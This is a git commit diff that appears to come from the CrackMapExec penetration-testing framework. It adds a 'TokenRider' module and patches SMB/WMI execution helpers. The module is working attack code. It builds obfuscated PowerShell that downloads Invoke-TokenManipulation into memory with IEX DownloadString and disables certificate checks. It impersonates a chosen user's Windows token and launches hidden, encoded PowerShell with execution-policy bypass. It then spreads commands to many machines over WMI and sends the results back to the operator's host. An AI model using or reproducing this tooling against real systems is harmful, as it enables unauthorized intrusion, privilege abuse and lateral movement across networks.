Initial commit for the token_rider module! OMFG this thing is amazing
it deserves its own blog post! Fixed a bug with the smbexec execution method which would cause it to exit without retrieving outputmain
parent
d3eb5cd8ff
commit
94d1c040c8
|
@ -1,5 +1,6 @@
|
||||||
import traceback
|
import traceback
|
||||||
|
|
||||||
|
from gevent import sleep
|
||||||
from impacket.dcerpc.v5 import transport, scmr
|
from impacket.dcerpc.v5 import transport, scmr
|
||||||
from impacket.smbconnection import *
|
from impacket.smbconnection import *
|
||||||
from core.helpers import gen_random_string
|
from core.helpers import gen_random_string
|
||||||
|
@ -90,9 +91,13 @@ class SMBEXEC:
|
||||||
def output_callback(data):
|
def output_callback(data):
|
||||||
self.__outputBuffer += data
|
self.__outputBuffer += data
|
||||||
|
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
self.transferClient.getFile(self.__share, self.__output, output_callback)
|
self.transferClient.getFile(self.__share, self.__output, output_callback)
|
||||||
|
|
||||||
self.transferClient.deleteFile(self.__share, self.__output)
|
self.transferClient.deleteFile(self.__share, self.__output)
|
||||||
|
break
|
||||||
|
except Exception:
|
||||||
|
sleep(2)
|
||||||
|
|
||||||
def execute_remote(self, data):
|
def execute_remote(self, data):
|
||||||
if self.__retOutput:
|
if self.__retOutput:
|
||||||
|
|
|
@ -88,7 +88,7 @@ class WMIEXEC:
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
|
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
|
||||||
# Output not finished, let's wait
|
# Output not finished, let's wait
|
||||||
sleep(1)
|
sleep(2)
|
||||||
pass
|
pass
|
||||||
else:
|
else:
|
||||||
#print str(e)
|
#print str(e)
|
||||||
|
|
|
@ -0,0 +1,151 @@
|
||||||
|
from core.helpers import create_ps_command, gen_random_string, obfs_ps_script
|
||||||
|
from base64 import b64encode
|
||||||
|
|
||||||
|
|
||||||
|
class CMEModule:
|
||||||
|
|
||||||
|
'''
|
||||||
|
This module allows for automatic token enumeration, impersonation and mass lateral spread using privileges instead of dumped credentials:
|
||||||
|
|
||||||
|
1) Invoke-TokenManipulation.ps1 is downloaded in memory and tokens are enumerated
|
||||||
|
2) If a token is found for the specified user, a new powershell process is created (with the impersonated tokens privs)
|
||||||
|
3) The new powershell process downloads a second stage and the specified command is then excuted on all target machines via WMI.
|
||||||
|
|
||||||
|
Module by @byt3bl33d3r
|
||||||
|
'''
|
||||||
|
|
||||||
|
name = 'TokenRider'
|
||||||
|
|
||||||
|
def options(self, context, module_options):
|
||||||
|
'''
|
||||||
|
TARGET Target machine(s) to execute the command on (comma seperated)
|
||||||
|
USER User to impersonate
|
||||||
|
DOMAIN Domain of the user to impersonate
|
||||||
|
CMD Command to execute on the target system(s) (Required if CMDFILE isn't specified)
|
||||||
|
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
|
||||||
|
'''
|
||||||
|
|
||||||
|
self.target_computers = ''
|
||||||
|
self.target_user = module_options['USER']
|
||||||
|
self.target_domain = module_options['DOMAIN']
|
||||||
|
self.command = module_options['COMMAND']
|
||||||
|
|
||||||
|
targets = module_options['TARGET'].split(',')
|
||||||
|
for target in targets:
|
||||||
|
self.target_computers += '"{}",'.format(target)
|
||||||
|
self.target_computers = self.target_computers[:-1]
|
||||||
|
|
||||||
|
self.obfs_name = gen_random_string()
|
||||||
|
|
||||||
|
#context.log.debug('Target system string: {}'.format(self.target_computers))
|
||||||
|
|
||||||
|
def on_admin_login(self, context, connection):
|
||||||
|
|
||||||
|
second_stage = '''
|
||||||
|
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
|
||||||
|
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/TokenRider.ps1');'''.format(server=context.server,
|
||||||
|
addr=context.localip,
|
||||||
|
port=context.server_port)
|
||||||
|
context.log.debug(second_stage)
|
||||||
|
|
||||||
|
#Main payload
|
||||||
|
payload = '''
|
||||||
|
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-TokenManipulation.ps1');
|
||||||
|
$tokens = Invoke-{obfs_func} -Enum;
|
||||||
|
foreach ($token in $tokens){{
|
||||||
|
if ($token.Domain -eq "{domain}" -and $token.Username -eq "{user}"){{
|
||||||
|
|
||||||
|
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
||||||
|
$request.Method = 'POST';
|
||||||
|
$request.ContentType = 'application/x-www-form-urlencoded';
|
||||||
|
$bytes = [System.Text.Encoding]::ASCII.GetBytes("Found token for user " + ($token.Domain + '\\' + $token.Username));
|
||||||
|
$request.ContentLength = $bytes.Length;
|
||||||
|
$requestStream = $request.GetRequestStream();
|
||||||
|
$requestStream.Write( $bytes, 0, $bytes.Length );
|
||||||
|
$requestStream.Close();
|
||||||
|
$request.GetResponse();
|
||||||
|
|
||||||
|
Invoke-{obfs_func} -Username "{domain}\\{user}" -CreateProcess "cmd.exe" -ProcessArgs "/c powershell.exe -exec bypass -window hidden -noni -nop -encoded {command}";
|
||||||
|
return
|
||||||
|
}}
|
||||||
|
}}
|
||||||
|
|
||||||
|
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
||||||
|
$request.Method = 'POST';
|
||||||
|
$request.ContentType = 'application/x-www-form-urlencoded';
|
||||||
|
$bytes = [System.Text.Encoding]::ASCII.GetBytes("User token not present on system!");
|
||||||
|
$request.ContentLength = $bytes.Length;
|
||||||
|
$requestStream = $request.GetRequestStream();
|
||||||
|
$requestStream.Write( $bytes, 0, $bytes.Length );
|
||||||
|
$requestStream.Close();
|
||||||
|
$request.GetResponse();'''.format(obfs_func=self.obfs_name,
|
||||||
|
command=b64encode(second_stage.encode('UTF-16LE')),
|
||||||
|
server=context.server,
|
||||||
|
addr=context.localip,
|
||||||
|
port=context.server_port,
|
||||||
|
user=self.target_user,
|
||||||
|
domain=self.target_domain)
|
||||||
|
|
||||||
|
context.log.debug(payload)
|
||||||
|
payload = create_ps_command(payload)
|
||||||
|
connection.execute(payload, method='smbexec')
|
||||||
|
context.log.success('Executed payload')
|
||||||
|
|
||||||
|
def on_request(self, context, request):
|
||||||
|
if 'Invoke-TokenManipulation.ps1' == request.path[1:]:
|
||||||
|
request.send_response(200)
|
||||||
|
request.end_headers()
|
||||||
|
|
||||||
|
with open('data/PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1', 'r') as ps_script:
|
||||||
|
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
|
||||||
|
request.wfile.write(ps_script)
|
||||||
|
|
||||||
|
elif 'TokenRider.ps1' == request.path[1:]:
|
||||||
|
request.send_response(200)
|
||||||
|
request.end_headers()
|
||||||
|
|
||||||
|
#Command to execute on the target system(s)
|
||||||
|
command_to_execute = 'cmd.exe /c {}'.format(self.command)
|
||||||
|
#context.log.debug(command_to_execute)
|
||||||
|
|
||||||
|
#This will get executed in the process that was created with the impersonated token
|
||||||
|
elevated_ps_command = '''
|
||||||
|
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
|
||||||
|
$post_output = "Executed command on target!";
|
||||||
|
|
||||||
|
try{{
|
||||||
|
Invoke-WmiMethod -Path Win32_process -Name create -ComputerName @({}) -ArgumentList "{}";
|
||||||
|
}} catch {{
|
||||||
|
$post_output = "Error executing command: $_.Exception.Message";
|
||||||
|
}}
|
||||||
|
$request = [System.Net.WebRequest]::Create('{}://{}:{}/');
|
||||||
|
$request.Method = 'POST';
|
||||||
|
$request.ContentType = 'application/x-www-form-urlencoded';
|
||||||
|
$bytes = [System.Text.Encoding]::ASCII.GetBytes($post_output);
|
||||||
|
$request.ContentLength = $bytes.Length;
|
||||||
|
$requestStream = $request.GetRequestStream();
|
||||||
|
$requestStream.Write( $bytes, 0, $bytes.Length );
|
||||||
|
$requestStream.Close();
|
||||||
|
$request.GetResponse();'''.format(self.target_computers, command_to_execute, context.server, context.localip, context.server_port)
|
||||||
|
|
||||||
|
request.wfile.write(elevated_ps_command)
|
||||||
|
|
||||||
|
else:
|
||||||
|
request.send_response(404)
|
||||||
|
request.end_headers()
|
||||||
|
|
||||||
|
def on_response(self, context, response):
|
||||||
|
response.send_response(200)
|
||||||
|
response.end_headers()
|
||||||
|
length = int(response.headers.getheader('content-length'))
|
||||||
|
data = str(response.rfile.read(length))
|
||||||
|
|
||||||
|
if len(data) > 0:
|
||||||
|
|
||||||
|
if data.find('User token not present') != -1:
|
||||||
|
response.stop_tracking_host()
|
||||||
|
|
||||||
|
elif data.find('Executed command') != -1 or data.find('Error executing') != -1:
|
||||||
|
response.stop_tracking_host()
|
||||||
|
|
||||||
|
context.log.highlight(data.strip())
|
Loading…
Reference in New Issue